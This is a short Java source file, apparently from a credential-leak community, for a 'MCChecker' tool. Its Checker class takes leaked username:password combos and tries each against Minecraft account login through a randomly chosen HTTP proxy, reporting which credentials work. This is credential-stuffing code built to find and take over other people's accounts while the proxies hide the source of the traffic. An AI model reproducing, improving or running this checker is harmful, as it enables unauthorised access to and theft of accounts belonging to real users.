MCChecker Code

package com.leakmania.mcchecker.utils;

import java.net.InetSocketAddress;
import java.net.Proxy;
import java.util.Random;

import net.chris54721.openmcauthenticator.OpenMCAuthenticator;
import net.chris54721.openmcauthenticator.exceptions.AuthenticationUnavailableException;
import net.chris54721.openmcauthenticator.exceptions.RequestException;

public class Checker {

    String proxies[];

    public Checker(String[] proxies) {
        this.proxies = proxies;
    }

    public boolean check(String combo) {
        String proxyString = proxies[new Random().nextInt(proxies.length)];
        try {
            Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxyString.split(":")[0], Integer.parseInt(proxyString.split(":")[1])));
            OpenMCAuthenticator.authenticate(combo.split(":")[0], combo.split(":")[1], null, proxy);
            return true;
        } catch (RequestException e) {
            e.printStackTrace();
        } catch (AuthenticationUnavailableException e) {
            e.printStackTrace();
        }
        return false;
    }

}